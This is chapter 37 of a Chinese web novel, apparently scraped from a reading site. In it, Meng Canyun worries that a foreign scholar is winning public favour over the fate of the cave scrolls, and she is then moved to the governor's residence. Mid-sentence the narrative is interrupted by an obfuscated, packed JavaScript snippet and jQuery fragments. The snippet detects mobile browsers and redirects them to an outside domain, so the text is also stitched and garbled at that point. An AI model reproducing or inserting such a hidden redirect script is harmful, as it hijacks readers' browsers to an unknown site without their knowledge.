37. 真正的对手

作品:《佛窟愿

    第七次文艺保护会议的详情很快见诸报端。文艺保护促进会、北方代表、教育厅以及外国文联会四方会员,就鸣沙窟最后一批经卷的封存地问题进行了激烈辩论。


    文艺保护促进会与教育厅都认为,经卷发掘于鸣沙窟,文脉根植于沙城,应滋养当地之精神,教化当地之风尚。鉴于先前经卷之外流,既给民众造成巨大伤害,又使政府陷入信任危机。今次应痛改前非,严禁外运、就地封存。至于存于谁处,两方分歧较大。


    北方代表则认为经卷贵为国宝,却损毁于故地、遗失于民间、流散于各国。地方力量渺小有限,边陲之城危险动荡,早已无法护全经卷安危。唯有带回北都,藏于国库最为稳妥。


    以小吉三郎为代表的外国文联会则称,经卷之所以宝贵,在于其巨大的文化价值。当今世界,能使经卷价值充分体现者唯有日国。他称,之前流入日国的经卷已在学界落地开花,此批经卷若抵日,必能更进一步催花结果,从而大大弘扬华国文化,提高华国在世界的影响力,彰显华国国威。


    四方各执一词,直至会议结束也没有论定最后一批经卷的最终归宿。不过他们仍达成一个共识:督军府对鸣沙窟的开窟改造、倒卖筹资行为已经失去管护经卷的资格,当务之急,应将经卷从督军府抢救出来,以免造成更加不可挽回的损失。


    会议的报道甫一刊登,便引来沙城民众的广泛关注。进步的知识分子最先发声,呼吁经卷为国所有,无论封存于故地还是馆藏于北都,均属本国内事,首要应遵循“关门议论,闲杂回避”之原则,坚决反对外国染指;亲外学派则痛斥鸣沙窟遭践踏,经卷遭私贩,认为国内官民同盗,文物惨损,不若流于国外得以保护。


    新新报馆甚至在版面上开辟一栏“经卷归宿之民意统计”,将督军府、文艺会、教育厅、北方代表、外国文联会五方排序列位,号召民众踊跃投票,并且每日公布五方的得票情况,以至让经卷归属辩论愈演愈烈。


    而其在投票专栏的后续版面,则开始连载题为“痴情少帅追爱记”的小说——讲述一位名叫“冯华”的少帅与美丽少女“薛月”相识、相知、相爱的浪漫故事。


    新新报馆这一创举立即引来报纸脱销。各大报馆见状纷纷效仿。于是,对第七次文艺保护会议的追踪报道,最终剩下“投票”与“少帅的爱情故事”两个主题。


    而为了翻出新意,“投票”慢慢演变成“经卷归宿押注竞猜”。“少帅的爱情故事”则由各家报馆根据隐秘的一手资料,自取旨意,重开新篇,集合成了一部“少帅情史风云”。


    孟灿云看完每天各方的得票情况,再读完各位少帅与美人们的爱恨纠葛,心情复杂地无以言表。


    投票出乎意料地倒向以小吉三郎为代表的外国文联会,这不仅意味着民众文物保护意识薄弱,还意味着小吉三郎取得民意,他对经卷的真实意图会被深深掩藏,他后续所有“盗骗”行为将被合理化。


    小说虽然颇多狗血,但与德华医生描述的许多细节吻合,说明传闻非虚,索靖山与明淑珍确曾有过一段过往。作为心中白月光,假如明淑珍声援小吉三郎,是否会动摇索靖山将经卷卖于她的决策?


    就算索靖山没有私心,在如此巨大的民意舆论面前,他也很难不重新考虑吧?


    孟灿云合上报纸,心情沉重。得到经卷不容易,守护经卷更加艰辛。在各方虎视眈眈下,鸣沙窟似乎是存放经卷最不安全的地方。


    思及此,她再次来到地下室。借着几缕奶雾似的光柱,打开锈钝的铜锁。陈旧的木门吐出小片灰尘,在吱呀的慵懒声中徐徐睁开眼睛。


    跨过门槛,几只装满经卷的箱子在黑暗中的轮廓逐渐清晰。


    阴凉干燥的微风幽幽拂过,混合厚重的木质香味,像是酣睡中的吐息,悠久、绵长。


    孟灿云放轻脚步,轻轻抚上这些沉睡千年的古物。它们如此安静、乖巧,对外界的血雨腥风一无所知。它们如此天真、无辜,却要面临颠沛流离之苦,骨肉分离之痛。


    鸣沙窟再也不能庇佑它们吗?真的没有不惊扰它们美梦的办法吗?


    孟灿云陷入沉思。


    这时,楼上传来一阵沙沙沙的脚步声。


    “孟姑娘,您可是在下边儿哩?”


    孟灿云走出地下室,重新落好锁,回到楼上,“田道长,有什么事吗?”


    田方水咋乎道:“大事不妙,小吉三郎又要来鸣沙窟哩!”


    孟灿云有些吃惊:“什么时候来?”


    田方水道:“后天哩。少帅亲自带他们来哩!”


    鸣沙窟属于督军府管辖,外人进出都需要经过督军府首肯。如果上次她还疑惑小吉为什么能轻易造访佛窟,那么读过“少帅情史风云”后,她就不难理解个中缘由。再加上小吉如今势头正盛,索靖山对小吉的要求极尽满足,于公于私,都是情理之中。


    “有说来干什么吗?”


    “八成又想买佛像哩!”田方水说完又拍了拍嘴,重新回答道:“说是他的秘书学生,想来祭奠一位朋友哩!”


    “秘书学生?”孟灿云想的很快,“明淑珍?”


    田方水掀了掀眼皮,突然有点结巴:“好、好像是、是哩。”


    孟灿云见他神色古怪,疑惑道:“田道长,你是不是有什么话要说?”


    田方水怯怯看她一眼,搓了搓手,犹豫半天,才支支吾吾道:“孟姑娘,有些传闻哩,它是胡编乱造!贫道与少帅认识许久,敢说少帅正经清白着,根本不是他们报道的那样哩!您对少帅,千万别误会哩!”


    孟灿云回味半晌才听懂田方水的意思,顿时哭笑不得:“田道长,你想哪里去了。少帅是我的上司,我对他只有敬畏。他的私生活如何与我没有半分关系。我有什么可误会的呢。”


    田方水撇了撇嘴巴上的胡须,一点不信:“孟姑娘撒谎哩!贫道发现您这几日读报之后愁眉不展,分明对着那些无良报馆杜撰的逸闻唉声叹气哩!”


    孟灿云摇摇头,叹道:“我发愁的是小吉三郎的影响力。”她望向佛楼檐角下的铜铃,忧心忡忡,“他的呼声已是最高,又因为明小姐的关系,赢得了少帅的信任。万一哪天他说动少帅向我们收回经卷,我们之前的努力就都白费了。”


    “所以您是担心经卷被小吉三郎带走,而不是误会少帅哩!”


    “当然。”孟灿云看向他,正色道:“我降临此地只为经卷,能左右我情绪、牵扯我思绪的,也只有经卷。”


    田方水因她严肃的神情吓了一跳,连忙竖掌道:“福生无量天尊。贫道记得哩!”言罢,他眼皮掀了掀,小心翼翼道:“只是贫道觉着,孟姑娘与其惧怕其他人,不如亲自去争取少帅的信任哩……”


    争取索靖山


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003819|161888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的信任?


    她怎么没有争取过呢。那些与索靖山的交易,她既贴钱又玩命,放在一般人身上,不止信任,生死之交都足够资格。然而,她与别人不同,她身负一个沉重的秘密。这个秘密犹如鸡蛋壳上的一丝裂纹,虽然不会顷刻破碎,却会随外界的颠簸越晃越大,直到最后完全裂开。


    孟灿云笑了笑,刚想自嘲一番,却发现田方水正用一种古怪的眼神看她。那眼神欲言又止、胆怯小心,似乎还参杂点恨铁不成钢的惋惜。


    突然间,她心领神会,像是明白了这老道真正想表达的意思。


    “你是说……我去……少帅?”孟灿云不确定道。


    田方水难为情地笑了一下,怯怯摸了摸鼻头,“报馆虽是瞎写,但少帅也确实心软哩!如果孟姑娘……少帅,少帅会非常护短哩……”


    她听懂了,田方水建议她“勾引”索靖山。


    先不去计较这老道怎么想到这一损招。冷静分析自己恐惧的原因,不正是害怕索靖山被爱情冲昏头脑,进而将交易的天平偏向小吉吗?


    之前她对自己信心满满,认为只要有钱,就能将经卷买回来。现在她才意识到,如果她能靠钱从督军府买来经卷,那么教育厅、文艺保护促进会、北方政府、外国文联会,这些财力远在她之上的机构,才是她真正的劲敌。


    利益当然是维持人与人之间关系最牢靠的纽带。然而看看脱销的“少帅情史风云”,以及因狗血小说而人气爆棚的小吉系得票。她又意识到,当利益的纽带出现多条时,情感便是成功的关键。


    或许,在金钱上利诱,在感情上攻陷,双管齐下才能将索靖山的大腿抱得更稳、更紧。


    “嘀——”,门口传来一声短暂的汽车鸣笛。


    孟灿云与田方水对视一眼,一同朝外迎去。


    来人是副官程硕。“孟小姐,您的腿好些了吗?”


    孟灿云注意到停在他身后的吉普车以及两名手拿麻袋的卫兵,瞬间明白了什么。她捂住受伤的膝盖处,歉然道:“还有些行动不便,可能需要再修养几天吧。”


    程硕了然地点点头:“少帅料到下寺环境艰苦,不利于养伤,所以派我们过来,接您去督军府疗养。”


    从医院回来后,索靖山没有再找过她。原本以为他忘记让她搬家的事。


    现在看来,他不仅记得清楚,而且还猜到她会推脱的借口。


    一点不给她拒绝的机会。


    孟灿云道:“可以晚两天再搬吗?”


    “这……”程硕为难道,“少帅希望您早日康复,故交代我们今天务必协助您搬过去。”


    孟灿云继续挣扎:“我东西比较多,一天时间恐怕不够。”


    “孟小姐不用担心。”程硕指了指身后的小兵,“他们两人手脚麻利,之前用半天时间完成所有修窟用材的调度。有他们在,就算搬空整个下寺,今天也能办妥。”


    田方水一听“搬空下寺”立马来了精神,连连附和道:“是哩是哩!当初若非两位兵长,佛窟万万不能提早竣工哩!两位兵长做事如神,孟小姐一点不必忧心哩!”


    索靖山不允许她拖延,田方水一点不挽留。既如此,她只能打包走人。


    孟灿云万般无奈,惋惜自己将要错过后天面见小吉的机会。


    “好吧。我去清点一下物品,辛苦程副官等我片刻。”